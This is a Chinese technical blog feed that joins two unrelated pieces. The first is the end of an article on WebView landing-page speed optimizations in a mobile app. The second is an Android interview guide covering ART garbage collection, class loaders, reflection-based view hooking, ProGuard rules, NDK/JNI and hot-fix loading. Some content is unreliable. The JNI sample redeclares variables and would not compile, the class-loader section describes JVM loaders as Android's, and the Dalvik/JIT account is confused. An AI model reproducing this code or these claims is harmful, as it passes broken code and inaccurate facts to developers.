具体以Feed落地页为例,当用户进入手百并触发Feed吸顶操作后,我们会创建第一个WebView,当用户进入落地页后,会从缓存池中取出来渲染H5页面,为了不影响页面的加载速度,同时保证下次进入落地页缓存池中仍然有可用的WebView组件,我们会在每次页面加载完成(pageFinish)或者back退出落地页的时机,去触发预创建WebView的逻辑
由于WebView的初始化需要和context进行绑定,若想实现预创建的逻辑,需要保证context的一致性,常规做法我们考虑可以用fragment来实现承载H5页面的容器,这样context可以用外层的activity实例,但Fragment本身的切换流畅度存在一定问题,并且这样做限定了WebView预创建适用的场景。为此,我们找到了一种更加完美的替代方案,即MutableContextWrapper

Special version of ContextWrapper that allows the base context to be modified after it is initially set. Change the base context for this ContextWrapper. All calls will then be delegated to the base context. Unlike ContextWrapper, the base context can be changed even after one is already set.
简单来说,就是一种新的context包装类,允许外部修改它的baseContext,并且所有ContextWrapper调用的方法都会代理到baseContext来执行

下面是截取的一段预创建WebView的代码

/**
     * 创建WebView实例
     * 用了applicationContext
     */
    @DebugTrace
    public void prepareNewWebView() {
        if (mCachedWebViewStack.size() < CACHED_WEBVIEW_MAX_NUM) {
            mCachedWebViewStack.push(new WebView(new MutableContextWrapper(getAppContext())));
        }
    }
    /**
     * 从缓存池中获取合适的WebView
     * 
     * @param context activity context
     * @return WebView
     */
    private WebView acquireWebViewInternal(Context context) {
        // 为空,直接返回新实例
        if (mCachedWebViewStack == null || mCachedWebViewStack.isEmpty()) {
            return new WebView(context);
        }
        WebView webView = mCachedWebViewStack.pop();
        // webView不为空,则开始使用预创建的WebView,并且替换Context
        MutableContextWrapper contextWrapper = (MutableContextWrapper) webView.getContext();
        contextWrapper.setBaseContext(context);
        return webView;
    }

2.NA组件懒加载
a. WebView初始化完成,立刻loadUrl,无需等待框架onCreate或者OnResume结束
b. WebView初始完成后到页面首屏绘制完成之间,尽量减少UI线程的其他操作,繁忙的UI线程会拖慢WebView.loadUrl的速度

具体到Feed落地页场景,由于我们的落地页包含两部分,WebView+NA评论组件,正常流程会在WebView初始化结束后,开始评论组件的初始化及评论数据的获取。由于此时评论的初始化仍处在onCreate的UI消息处理中,会严重延迟内核加载主文档的逻辑。考虑到用户进入落地页的时候,评论组件对用户来说并不可见,所以将评论组件的初始化延迟到页面的pageFinish时机或者firstScreenPaintFinished; 80分位性能提升60ms~100ms

3.内核优化
a. 内核渲染优化:
内核中主要分为三个线程(IOThread、MainThread、ParserThread),首先IOThread会从网络端或者本地获取html数据,并把数据交给MainThread(渲染线程,十分繁忙,用于JS执行,页面布局等),为了保证MainThread不被阻塞,需要额外起一个后台线程(ParserThread)用来做html的解析工作。ParserThread每解析到落地页html中带有特殊class标记的一个div标签或者P标签(图中的first、second)时,就会触发一次MainThread的layout工作,并把layout后得到的高度与屏幕高度进行对比,如果当前layout高度已经大于屏幕高度,我们认为首屏内容已经完成布局,可以触发渲染上屏逻辑,不必等到整篇html全部解析完成再上屏,提前了首屏的渲染时间; 80分位下,内核的渲染优化可以提升首屏速度100ms~200ms
图片描述
b. 预加载JS:
预创建好WebView后,通过预加载JS(与内核约定好的JS内容,内核侧执行该JS时,只做初始化操作),触发WebView初始化逻辑,缩短后续加载url耗时; 80分位性能提升80ms左右

五、新的问题-流量和速度的平衡

频繁预取会带来流量的浪费:预取的命中率虽然达到了90%以上,但有效率仅有15%
解决思路:
&nbsp&nbsp1.压缩预取的包大小,减少下行流量
&nbsp&nbsp2.少预取或者不预取
(一)精简预取数据:
图文:优化直出html中内联的css、icon等数据,数据大小减少约40%
(二)后端智能预取:
1) 图文:通过对图文资源进行评分,来决定4G是否需要预取,多组AB试验最优效果劣化9.5ms
2)视频:为了平衡性能和流量,在性能劣化可接受的范围内(视频起播时间劣化100ms),针对视频部分采用流量高峰期不预取的策略,减少视频总流量约7%,整体带宽峰值下降3%
(三)AI智能预取
通用用户操作行为,对Feed预取进行AI预测,减少无效预取的数量。

六、总结&展望

(一)优化总结
在总结之前,先来看下整体优化的前后效果对比(上图:优化前;下图:优化后):
图片描述图片描述
可以看到,经过一系列的优化手段,落地页已经实现了秒开效果。回顾所做的事情,从分析用户反馈到定位性能瓶颈,再到各种优化尝试,发现所有类似的性能优化手段都可以从以下几点入手:

  • 提前做:包括预创建WebView和预取数据
  • 并行做:包括图片直出&拦截加载,框架初始化阶段开启异步线程准备数据等
  • 轻量化:对于前端来说,要尽量减少页面大小,删减不必要的JS和CSS,不仅可以缩短网络请求时间,还能提升内核解析时间
  • 简单化:对于简单的信息展示页面,对内容动态性要求不高的场景,可以考虑使用直出替代hybrid,展示内容直接可渲染,无需JS异步加载

图片描述
(二)TODO

  • 页面的更新机制,目前方案仅适用于偏静态页面,对于动态性要求较高的业务,需要提供页面更新机制,保证每次显示的正确性
  • 开源之路:后续计划将我们总结下来的这套方案打包开源,前行之路必定坎坷,希望大家多多支持

Android 面试之必问高级知识点

$
0
0

Android 面试之必问Java基础
Android 面试之必问Android基础知识

1,编译模式

1.1 概念

在Android早期的版本中,应用程序的运行环境是需要依赖Dalvik虚拟机的。不过,在后来的版本(大概是4.x版本),Android的运行环境却换到了 Android Runtime,其处理应用程序执行的方式完全不同于 Dalvik,Dalvik 是依靠一个 Just-In-Time (JIT) 编译器去解释字节码。

不过,Dalvik模式下,开发者编译后的应用代码需要通过一个解释器在用户的设备上运行,这一机制并不高效,但让应用能更容易在不同硬件和架构上运 行。ART 则完全改变了这套做法,在应用安装时就预编译字节码到机器语言,这一机制叫 Ahead-Of-Time (AOT)编译。在移除解释代码这一过程后,应用程序执行效率更高、启动也更快。

1.2 AOT优点

下面是AOT编译方式的一些优点:

1.2.1 预先编译

ART 引入了预先编译机制,可提高应用的性能。ART 还具有比 Dalvik 更严格的安装时验证。在安装时,ART 使用设备自带的 dex2oat 工具来编译应用。该实用工具接受 DEX 文件作为输入,并为目标设备生成经过编译的应用可执行文件,该工具能够顺利编译所有有效的 DEX 文件。

1.2.2 垃圾回收优化

垃圾回收 (GC) 可能有损于应用性能,从而导致显示不稳定、界面响应速度缓慢以及其他问题。ART模式从以下几个方面优化了垃圾回收的策略:

  • 只有一次(而非两次)GC 暂停
  • 在 GC 保持暂停状态期间并行处理
  • 在清理最近分配的短时对象这种特殊情况中,回收器的总 GC 时间更短
  • 优化了垃圾回收的工效,能够更加及时地进行并行垃圾回收,这使得 GC_FOR_ALLOC 事件在典型用例中极为罕见
  • 压缩 GC 以减少后台内存使用和碎片

1.2.3 开发和调试方面的优化

支持采样分析器
一直以来,开发者都使用 Traceview 工具(用于跟踪应用执行情况)作为分析器。虽然 Traceview 可提供有用的信息,但每次方法调用产生的开销会导致 Dalvik 分析结果出现偏差,而且使用该工具明显会影响运行时性能ART 添加了对没有这些限制的专用采样分析器的支持,因而可更准确地了解应用执行情况,而不会明显减慢速度。支持的版本从KitKat (4.4)版本开始,为 Dalvik 的 Traceview 添加了采样支持。

支持更多调试功能
ART 支持许多新的调试选项,特别是与监控和垃圾回收相关的功能。例如,查看堆栈跟踪中保留了哪些锁,然后跳转到持有锁的线程;询问指定类的当前活动的实例数、请求查看实例,以及查看使对象保持有效状态的参考;过滤特定实例的事件(如断点)等。

优化了异常和崩溃报告中的诊断详细信息
当发生运行时异常时,ART 会为您提供尽可能多的上下文和详细信息。ART 会提供 java.lang.ClassCastException、java.lang.ClassNotFoundException 和 java.lang.NullPointerException 的更多异常详细信息(较高版本的 Dalvik 会提供 java.lang.ArrayIndexOutOfBoundsException 和 java.lang.ArrayStoreException 的更多异常详细信息,这些信息现在包括数组大小和越界偏移量;ART 也提供这类信息)。

1.3 垃圾回收

ART 提供了多个不同的 GC 方案,这些方案运行着不同垃圾回收器,默认的GC方案是 CMS(并发标记清除),主要使用粘性 CMS 和部分 CMS。粘性 CMS 是 ART 的不移动分代垃圾回收器。它仅扫描堆中自上次 GC 后修改的部分,并且只能回收自上次 GC 后分配的对象。除 CMS 方案外,当应用将进程状态更改为察觉不到卡顿的进程状态(例如,后台或缓存)时,ART 将执行堆压缩。

除了新的垃圾回收器之外,ART 还引入了一种基于位图的新内存分配程序,称为 RosAlloc(插槽运行分配器)。此新分配器具有分片锁,当分配规模较小时可添加线程的本地缓冲区,因而性能优于 DlMalloc(内存分配器)。

内存分配器的相关知识可以参考: 内存分配器

同时,与 Dalvik 相比,ART的 CMS垃圾回收也带来了其他方面的改善,如下:

  • 与 Dalvik 相比,暂停次数从 2 次减少到 1 次。Dalvik 的第一次暂停主要是为了进行根标记,即在 ART 中进行并发标记,让线程标记自己的根,然后马上恢复运行。
  • 与 Dalvik 类似,ART GC 在清除过程开始之前也会暂停 1 次。两者在这方面的主要差异在于:在此暂停期间,某些 Dalvik 环节在 ART 中并发进行。这些环节包括 java.lang.ref.Reference 处理、系统弱清除(例如,jni 弱全局等)、重新标记非线程根和卡片预清理。在 ART 暂停期间仍进行的阶段包括扫描脏卡片以及重新标记线程根,这些操作有助于缩短暂停时间。
  • 相对于 Dalvik,ART GC 改进的最后一个方面是粘性 CMS 回收器增加了 GC 吞吐量。不同于普通的分代 GC,粘性 CMS 不移动。系统会将年轻对象保存在一个分配堆栈(基本上是 java.lang.Object 数组)中,而非为其设置一个专属区域。这样可以避免移动所需的对象以维持低暂停次数,但缺点是容易在堆栈中加入大量复杂对象图像而使堆栈变长。

ART GC 与 Dalvik 的另一个主要区别在于 ART GC 引入了移动垃圾回收器。使用移动 GC 的目的在于通过堆压缩来减少后台应用使用的内存。目前,触发堆压缩的事件是 ActivityManager 进程状态的改变。当应用转到后台运行时,它会通知 ART 已进入不再“感知”卡顿的进程状态。此时 ART 会进行一些操作(例如,压缩和监视器压缩),从而导致应用线程长时间暂停。

目前,Android的ART正在使用的两个移动 GC 是同构空间压缩和半空间压缩,它们的区别如下:

  • 半空间压缩:将对象在两个紧密排列的碰撞指针空间之间进行移动。这种移动 GC 适用于小内存设备,因为它可以比同构空间压缩稍微多节省一点内存,额外节省出的空间主要来自紧密排列的对象,这样可以避免 RosAlloc/DlMalloc 分配器占用开销。
  • 同构空间压缩通过将对象从一个 RosAlloc 空间复制到另一个 RosAlloc 空间来实现。这有助于通过减少堆碎片来减少内存使用量。这是目前非低内存设备的默认压缩模式。相比半空间压缩,同构空间压缩的主要优势在于应用从后台切换到前台时无需进行堆转换。

2,类加载器

2.1 类加载器分类

目前,Android的类加载器从下到上主要分为BootstrapClassLoader(根类加载器)、 ExtensionClassLoader (扩展类加载器)和 AppClassLoader(应用类加载器)三种。

  • 根类加载器:该加载器没有父加载器。它负责加载虚拟机的核心类库,如java.lang.*等。例如java.lang.Object就是由根类加载器加载的。根类加载器从系统属性sun.boot.class.path所指定的目录中加载类库。根类加载器的实现依赖于底层操作系统,属于虚拟机的实现的一部分,它并没有继承java.lang.ClassLoader类。
  • 扩展类加载器:它的父加载器为根类加载器。它从java.ext.dirs系统属性所指定的目录中加载类库,或者从JDK的安装目录的jre/lib/ext子目录(扩展目录)下加载类库,如果把用户创建的JAR文件放在这个目录下,也会自动由扩展类加载器加载。扩展类加载器是纯Java类,是java.lang.ClassLoader类的子类。
  • 系统类加载器:也称为应用类加载器,它的父加载器为扩展类加载器。它从环境变量classpath或者系统属性java.class.path所指定的目录中加载类,它是用户自定义的类加载器的默认父加载器。系统类加载器是纯Java类,是java.lang.ClassLoader类的子类。
    父子加载器并非继承关系,也就是说子加载器不一定是继承了父加载器。

2.2 双亲委托模式

所谓双亲委托模式,指的是某个特定的类加载器在接到加载类的请求时,首先将加载任务委托给父类加载器,依次递归,如果父类加载器可以完成类加载任务,就成功返回;只有父类加载器无法完成此加载任务时,才自己去加载。

因为这样可以避免重复加载,当父亲已经加载了该类的时候,就没有必要子 ClassLoader 再加载一次。如果不使用这种委托模式,那我们就可以随时使用自定义的类来动态替代一些核心的类,存在非常大的安全隐患。

举个例子,事实上,java.lang.String这个类并不会被我们自定义的classloader加载,而是由bootstrap classloader进行加载,为什么会这样?实际上这就是双亲委托模式的原因,因为在任何一个自定义ClassLoader加载一个类之前,它都会先 委托它的父亲ClassLoader进行加载,只有当父亲ClassLoader无法加载成功后,才会由自己加载。

2.3 Android的类加载器

下面是Android类加载器的模型图:
在这里插入图片描述
下面看一下DexClassLoader,DexClassLoader 重载了 findClass 方法,在加载类时会调用其内部的 DexPathList 去加载。DexPathList 是在构造 DexClassLoader 时生成的,其内部包含了 DexFile,涉及的源码如下。

···
public Class findClass(String name) {
    for (Element element : dexElements) {
        DexFile dex = element.dexFile;
        if (dex != null) {
            Class clazz = dex.loadClassBinaryName(name, definingContext);
            if (clazz != null) {
                return clazz;
            }
        }
    }
    return null;
}
···

类加载器更多的内容,可以参考: android 类加载器双亲委托模式

3,Android Hook

所谓Hook,就是在程序执行的过程中去截取其中的某段信息,示意图如下。
说到

Android的Hook大体的流程可以分为如下几步:
1、根据需求确定需要 hook 的对象
2、寻找要hook的对象的持有者,拿到需要 hook 的对象
3、定义“要 hook 的对象”的代理类,并且创建该类的对象
4、使用上一步创建出来的对象,替换掉要 hook 的对象

下面是一段简单的Hook的示例代码,用到了Java的反射机制。

@SuppressLint({"DiscouragedPrivateApi", "PrivateApi"})
public static void hook(Context context, final View view) {//
    try {
        // 反射执行View类的getListenerInfo()方法,拿到v的mListenerInfo对象,这个对象就是点击事件的持有者
        Method method = View.class.getDeclaredMethod("getListenerInfo");
        method.setAccessible(true);//由于getListenerInfo()方法并不是public的,所以要加这个代码来保证访问权限
        Object mListenerInfo = method.invoke(view);//这里拿到的就是mListenerInfo对象,也就是点击事件的持有者

        // 要从这里面拿到当前的点击事件对象
        Class<?> listenerInfoClz = Class.forName("android.view.View$ListenerInfo");// 这是内部类的表示方法
        Field field = listenerInfoClz.getDeclaredField("mOnClickListener");
        final View.OnClickListener onClickListenerInstance = (View.OnClickListener) field.get(mListenerInfo);//取得真实的mOnClickListener对象

        // 2. 创建我们自己的点击事件代理类
        //   方式1:自己创建代理类
        //   ProxyOnClickListener proxyOnClickListener = new ProxyOnClickListener(onClickListenerInstance);
        //   方式2:由于View.OnClickListener是一个接口,所以可以直接用动态代理模式
        // Proxy.newProxyInstance的3个参数依次分别是:
        // 本地的类加载器;
        // 代理类的对象所继承的接口(用Class数组表示,支持多个接口)
        // 代理类的实际逻辑,封装在new出来的InvocationHandler内
        Object proxyOnClickListener = Proxy.newProxyInstance(context.getClass().getClassLoader(), new Class[]{View.OnClickListener.class}, new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                Log.d("HookSetOnClickListener", "点击事件被hook到了");//加入自己的逻辑
                return method.invoke(onClickListenerInstance, args);//执行被代理的对象的逻辑
            }
        });
        // 3. 用我们自己的点击事件代理类,设置到"持有者"中
        field.set(mListenerInfo, proxyOnClickListener);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

// 自定义代理类
static class ProxyOnClickListener implements View.OnClickListener {
    View.OnClickListener oriLis;

    public ProxyOnClickListener(View.OnClickListener oriLis) {
        this.oriLis = oriLis;
    }

    @Override
    public void onClick(View v) {
        Log.d("HookSetOnClickListener", "点击事件被hook到了");
        if (oriLis != null) {
            oriLis.onClick(v);
        }
    }
}

而在Android开发中,想要实现Hook,肯定是没有这么简单的,我们需要借助一些Hook框架,比如Xposed、Cydia Substrate、Legend等。

参考资料: Android Hook机制

4,代码混淆

4.1 Proguard

众所周知,Java代码是非常容易反编译的,为了更好的保护Java源代码,我们往往会对编译好的Class类文件进行混淆处理。而ProGuard就是一个混淆代码的开源项目。它的主要作用就是混淆,当然它还能对字节码进行缩减体积、优化等,但那些对于我们来说都算是次要的功能。

具体来说,ProGuard具有如下功能:

  • 压缩(Shrink): 检测和删除没有使用的类,字段,方法和特性。
  • 优化(Optimize) : 分析和优化Java字节码。
  • 混淆(Obfuscate): 使用简短的无意义的名称,对类,字段和方法进行重命名。

在Android开发中,开启混淆需要将app/build.gradle文件下的minifyEnabled属性设置为true,如下所示。

minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'

proguard-android.txt是Android提供的默认混淆配置文件,我们需要的混淆的规则都放在这个文件中。

4.2 混淆规则

混淆命令

  • keep:保留类和类中的成员,防止被混淆或移除
  • keepnames:保留类和类中的成员,防止被混淆,成员没有被引用会被移除
  • keepclassmembers:只保留类中的成员,防止被混淆或移除
  • keepclassmembernames:只保留类中的成员,防止被混淆,成员没有引用会被移除
  • keepclasseswithmembers:保留类和类中的成员,防止被混淆或移除,保留指明的成员
  • keepclasseswithmembernames:保留类和类中的成员,防止被混淆,保留指明的成员,成员没有引用会被移除

混淆通配符

  • <field>:匹配类中的所有字段
  • <method>:匹配类中所有的方法
  • <init>:匹配类中所有的构造函数
  • *: 匹配任意长度字符,不包含包名分隔符(.)
  • **: 匹配任意长度字符,包含包名分隔符(.)
  • ***: 匹配任意参数类型

keep的规则的格式如下:

[keep命令] [类] {
        [成员]
}

4.3 混淆模版

ProGuard中有些公共的模版是可以复用的,比如压缩比、大小写混合和一些系统提供的Activity、Service不能混淆等。

# 代码混淆压缩比,在 0~7 之间,默认为 5,一般不做修改
-optimizationpasses 5

# 混合时不使用大小写混合,混合后的类名为小写
-dontusemixedcaseclassnames

# 指定不去忽略非公共库的类
-dontskipnonpubliclibraryclasses

# 这句话能够使我们的项目混淆后产生映射文件
# 包含有类名->混淆后类名的映射关系
-verbose

# 指定不去忽略非公共库的类成员
-dontskipnonpubliclibraryclassmembers

# 不做预校验,preverify 是 proguard 的四个步骤之一,Android 不需要 preverify,去掉这一步能够加快混淆速度。
-dontpreverify

# 保留 Annotation 不混淆
-keepattributes *Annotation*,InnerClasses

# 避免混淆泛型
-keepattributes Signature

# 抛出异常时保留代码行号
-keepattributes SourceFile,LineNumberTable

# 指定混淆是采用的算法,后面的参数是一个过滤器
# 这个过滤器是谷歌推荐的算法,一般不做更改
-optimizations !code/simplification/cast,!field/*,!class/merging/*


#############################################
#
# Android开发中一些需要保留的公共部分
#
#############################################

# 保留我们使用的四大组件,自定义的 Application 等等这些类不被混淆
# 因为这些子类都有可能被外部调用
-keep public class * extends android.app.Activity
-keep public class * extends android.app.Appliction
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
-keep public class * extends android.app.backup.BackupAgentHelper
-keep public class * extends android.preference.Preference
-keep public class * extends android.view.View
-keep public class com.android.vending.licensing.ILicensingService


# 保留 support 下的所有类及其内部类
-keep class android.support.** { *; }

# 保留继承的
-keep public class * extends android.support.v4.**
-keep public class * extends android.support.v7.**
-keep public class * extends android.support.annotation.**

# 保留 R 下面的资源
-keep class **.R$* { *; }

# 保留本地 native 方法不被混淆
-keepclasseswithmembernames class * {
    native <methods>;
}

# 保留在 Activity 中的方法参数是view的方法,
# 这样以来我们在 layout 中写的 onClick 就不会被影响
-keepclassmembers class * extends android.app.Activity {
    public void *(android.view.View);
}

# 保留枚举类不被混淆
-keepclassmembers enum * {
    public static **[] values();
    public static ** valueOf(java.lang.String);
}

# 保留我们自定义控件(继承自 View)不被混淆
-keep public class * extends android.view.View {
    *** get*();
    void set*(***);
    public <init>(android.content.Context);
    public <init>(android.content.Context, android.util.AttributeSet);
    public <init>(android.content.Context, android.util.AttributeSet, int);
}

# 保留 Parcelable 序列化类不被混淆
-keep class * implements android.os.Parcelable {
    public static final android.os.Parcelable$Creator *;
}

# 保留 Serializable 序列化的类不被混淆
-keepnames class * implements java.io.Serializable
-keepclassmembers class * implements java.io.Serializable {
    static final long serialVersionUID;
    private static final java.io.ObjectStreamField[] serialPersistentFields;
    !static !transient <fields>;
    !private <fields>;
    !private <methods>;
    private void writeObject(java.io.ObjectOutputStream);
    private void readObject(java.io.ObjectInputStream);
    java.lang.Object writeReplace();
    java.lang.Object readResolve();
}

# 对于带有回调函数的 onXXEvent、**On*Listener 的,不能被混淆
-keepclassmembers class * {
    void *(**On*Event);
    void *(**On*Listener);
}

# webView 处理,项目中没有使用到 webView 忽略即可
-keepclassmembers class fqcn.of.javascript.interface.for.webview {
    public *;
}
-keepclassmembers class * extends android.webkit.webViewClient {
    public void *(android.webkit.WebView, java.lang.String, android.graphics.Bitmap);
    public boolean *(android.webkit.WebView, java.lang.String);
}
-keepclassmembers class * extends android.webkit.webViewClient {
    public void *(android.webkit.webView, java.lang.String);
}

# js
-keepattributes JavascriptInterface
-keep class android.webkit.JavascriptInterface { *; }
-keepclassmembers class * {
    @android.webkit.JavascriptInterface <methods>;
}

# @Keep
-keep,allowobfuscation @interface android.support.annotation.Keep
-keep @android.support.annotation.Keep class *
-keepclassmembers class * {
    @android.support.annotation.Keep *;
}

如果是aar这种插件,可以在aar的build.gralde中添加如下混淆配置。

android {···
    defaultConfig {
        ···
        consumerProguardFile 'proguard-rules.pro'
    }···
}

5,NDK

如果要问Android的高级开发知识,那么NDK肯定是必问的。那么什么的NDK,NDK 全称是 Native Development Kit,是一组可以让开发者在 Android 应用中使用C/C++ 的工具。通常,NDK可以用在如下的场景中:

  • 从设备获取更好的性能以用于计算密集型应用,例如游戏或物理模拟。
  • 重复使用自己或其他开发者的 C/C++ 库,便利于跨平台。
  • NDK 集成了譬如 OpenSL、Vulkan 等 API 规范的特定实现,以实现在 Java 层无法做到的功能,如音视频开发、渲染。
  • 增加反编译难度。

5.1, JNI基础

JNI即java native interface,是Java和Native代码进行交互的接口。

5.1.1 JNI 访问 Java 对象方法

假如,有如下一个Java类,代码如下。

package com.xzh.jni;

public class MyJob {
    public static String JOB_STRING = "my_job";
    private int jobId;

    public MyJob(int jobId) {
        this.jobId = jobId;
    }

    public int getJobId() {
        return jobId;
    }
}

然后,在cpp目录下,新建native_lib.cpp,添加对应的native实现。

#include <jni.h>

extern "C"
JNIEXPORT jint JNICALL
Java_com_xzh_jni_MainActivity_getJobId(JNIEnv *env, jobject thiz, jobject job) {

    // 根据实例获取 class 对象
    jclass jobClz = env->GetObjectClass(job);
    // 根据类名获取 class 对象
    jclass jobClz = env->FindClass("com/xzh/jni/MyJob");

    // 获取属性 id
    jfieldID fieldId = env->GetFieldID(jobClz, "jobId", "I");
    // 获取静态属性 id
    jfieldID sFieldId = env->GetStaticFieldID(jobClz, "JOB_STRING", "Ljava/lang/String;");

    // 获取方法 id
    jmethodID methodId = env->GetMethodID(jobClz, "getJobId", "()I");
    // 获取构造方法 id
    jmethodID  initMethodId = env->GetMethodID(jobClz, "<init>", "(I)V");

    // 根据对象属性 id 获取该属性值
    jint id = env->GetIntField(job, fieldId);
    // 根据对象方法 id 调用该方法
    jint id = env->CallIntMethod(job, methodId);

    // 创建新的对象
    jobject newJob = env->NewObject(jobClz, initMethodId, 10);
    return id;
}

5.2 NDK开发

5.2.1 基本流程

首先,在 Java代码中声明 Native 方法,如下所示。

public class MainActivity extends AppCompatActivity {

    // Used to load the 'native-lib' library on application startup.
    static {
        System.loadLibrary("native-lib");
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.d("MainActivity", stringFromJNI());
    }
    private native String stringFromJNI();
}

然后,新建一个 cpp 目录,并且新建一个名为native-lib.cpp的cpp 文件,实现相关方法。

#include <jni.h>

extern "C" JNIEXPORT jstring JNICALL
Java_com_xzh_jni_MainActivity_stringFromJNI(
        JNIEnv *env,
        jobject /* this */) {
    std::string hello = "Hello from C++";
    return env->NewStringUTF(hello.c_str());
}

cpp文件遵循如下的规则:

  • 函数名的格式遵循遵循如下规则:Java_包名_类名_方法名。
  • extern "C" 指定采用 C 语言的命名风格来编译,否则由于 C 与 C++ 风格不同,导致链接时无法找到具体的函数
  • JNIEnv*:表示一个指向 JNI 环境的指针,可以通过他来访问 JNI 提供的接口方法
  • jobject:表示 java 对象中的 this
  • JNIEXPORT 和 JNICALL:JNI 所定义的宏,可以在 jni.h 头文件中查找到

System.loadLibrary()的代码位于java/lang/System.java文件中,源码如下:

@CallerSensitive
public static void load(String filename) {
    Runtime.getRuntime().load0(Reflection.getCallerClass(), filename);
}

5.3 CMake 构建 NDK

CMake 是一个开源的跨平台工具系列,旨在构建、测试和打包软件,从 Android Studio 2.2 开始,Android Sudio 默认地使用 CMake 与 Gradle 搭配使用来构建原生库。具体来说,我们可以使用 Gradle 将 C \ C++ 代码 编译到原生库中,然后将这些代码打包到我们的应用中, Java 代码随后可以通过 Java 原生接口 ( JNI ) 调用 我们原生库中的函数。

使用CMake开发NDK项目需要下载如下一些套件:

  • Android 原生开发工具包 (NDK):这套工具集允许我们 开发 Android 使用 C 和 C++ 代码,并提供众多平台库,让我们可以管理原生 Activity 和访问物理设备组件,例如传感器和触摸输入。
  • CMake:一款外部构建工具,可与 Gradle 搭配使用来构建原生库。如果你只计划使用 ndk-build,则不需要此组件。
  • LLDB:一种调试程序,Android Studio 使用它来调试原生代码。

我们可以打开Android Studio,依次选择 【Tools】 > 【Android】> 【SDK Manager】> 【SDK Tools】选中LLDB、CMake 和 NDK即可。

启用CMake还需要在 app/build.gradle 中添加如下代码。

android {···
    defaultConfig {
        ···
        externalNativeBuild {
            cmake {
                cppFlags ""
            }
        }

        ndk {
            abiFilters 'arm64-v8a', 'armeabi-v7a'
        }
    }···
    externalNativeBuild {
        cmake {
            path "CMakeLists.txt"
        }
    }
}

然后,在对应目录新建一个 CMakeLists.txt 文件,添加代码。

# 定义了所需 CMake 的最低版本
cmake_minimum_required(VERSION 3.4.1)

# add_library() 命令用来添加库
# native-lib 对应着生成的库的名字
# SHARED 代表为分享库
# src/main/cpp/native-lib.cpp 则是指明了源文件的路径。
add_library( # Sets the name of the library.
        native-lib

        # Sets the library as a shared library.
        SHARED

        # Provides a relative path to your source file(s).
        src/main/cpp/native-lib.cpp)

# find_library 命令添加到 CMake 构建脚本中以定位 NDK 库,并将其路径存储为一个变量。
# 可以使用此变量在构建脚本的其他部分引用 NDK 库
find_library( # Sets the name of the path variable.
        log-lib

        # Specifies the name of the NDK library that
        # you want CMake to locate.
        log)

# 预构建的 NDK 库已经存在于 Android 平台上,因此,无需再构建或将其打包到 APK 中。
# 由于 NDK 库已经是 CMake 搜索路径的一部分,只需要向 CMake 提供希望使用的库的名称,并将其关联到自己的原生库中

# 要将预构建库关联到自己的原生库
target_link_libraries( # Specifies the target library.
        native-lib

        # Links the target library to the log library
        # included in the NDK.
        ${log-lib})
···

参考: Android NDK开发基础

6,动态加载

6.1 基本概念

动态加载技术在Web中很常见,对于Android项目来说,动态加载的目的是让用户不用重新安装APK就能升级应用的功能,主要的应用场景是插件化和热修复。

首先需要明确的一点,插件化和热修复不是同一个概念,虽然站在技术实现的角度来说,他们都是从系统加载器的角度出发,无论是采用hook方式,亦或是代理方式或者是其他底层实现,都是通过“欺骗”Android 系统的方式来让宿主正常的加载和运行插件(补丁)中的内容;但是二者的出发点是不同的。

插件化,本质上是把需要实现的模块或功能当做一个独立的功能提取出来,减少宿主的规模,当需要使用到相应的功能时再去加载相应的模块。而热修复则往往是从修复bug的角度出发,强调的是在不需要二次安装应用的前提下修复已知的bug。

为了方便说明,我们先理清几个概念:

  • 宿主: 当前运行的APP。
  • 插件: 相对于插件化技术来说,就是要加载运行的apk类文件。
  • 补丁: 相对于热修复技术来说,就是要加载运行的.patch,.dex,*.apk等一系列包含dex修复内容的文件。

下图展示了Android动态化开发框架的整体的架构。
在这里插入图片描述

6.2 插件化

关于插件化技术,最早可以追溯到2012年的 AndroidDynamicLoader,其原理是动态加载不同的Fragment实现UI替换,不过随着15,16年更好的方案,这个方案渐渐的被淘汰了。再后来有了任玉刚的 dynamic-load-apk方案,开始有了插件化的标准方案。而后面的方案大多基于Hook和动态代理两个方向进行。

目前,插件化的开发并没有一个官方的插件化方案,它是国内提出的一种技术实现,利用虚拟机的类的加载机制实现的一种技术手段,往往需要hook一些系统api,而Google从Android9.0开始限制对系统私有api的使用,也就造成了插件化的兼容性问题,现在几个流行的插件化技术框架,都是大厂根据自己的需求,开源出来的,如滴滴的VirtualAPK,360的RePlugin等,大家可以根据需要自行了解技术的实现原理。

6.3 热修复

6.3.1 热修复原理

说到热修复的原理,就不得不提到类的加载机制,和常规的JVM类似,在Android中类的加载也是通过ClassLoader来完成,具体来说就是PathClassLoader 和 DexClassLoader 这两个Android专用的类加载器,这两个类的区别如下。

  • PathClassLoader:只能加载已经安装到Android系统中的apk文件(/data/app目录),是Android默认使用的类加载器。
  • DexClassLoader:可以加载任意目录下的dex/jar/apk/zip文件,也就是我们一开始提到的补丁。

这两个类都是继承自BaseDexClassLoader,BaseDexClassLoader的构造函数如下。

    public BaseDexClassLoader(String dexPath, File optimizedDirectory,
            String libraryPath, ClassLoader parent) {
        super(parent);
        this.pathList = new DexPathList(this, dexPath, libraryPath, optimizedDirectory);
    }

这个构造函数只做了一件事,就是通过传递进来的相关参数,初始化了一个DexPathList对象。DexPathList的构造函数,就是将参数中传递进来的程序文件(就是补丁文件)封装成Element对象,并将这些对象添加到一个Element的数组集合dexElements中去。

前面说过类加载器的作用,就是将一个具体的类(class)加载到内存中,而这些操作是由虚拟机完成的,对于开发者来说,只需要关注如何去找到这个需要加载的类即可,这也是热修复需要干的事情。

在Android中,查找一个名为name的class需要经历如下两步:

  1. 在DexClassLoader的findClass 方法中通过一个DexPathList对象findClass()方法来获取class。
  2. 在DexPathList的findClass 方法中,对之前构造好dexElements数组集合进行遍历,一旦找到类名与name相同的类时,就直接返回这个class,找不到则返回null。

因此,基于上面的理论,我们可以想到一个最简单的热修复方案。假设现在代码中的某一个类出现Bug,那么我们可以在修复Bug之后,将这些个类打包成一个补丁文件,然后通过这个补丁文件封装出一个Element对象,并且将这个Element对象插到原有dexElements数组的最前端。这样,当DexClassLoader去加载类时,由于双亲加载机制的特点,就会优先加载插入的这个Element,而有缺陷的Element则没有机会再被加载。事实上,QQ早期的热修复方案就是这样的。

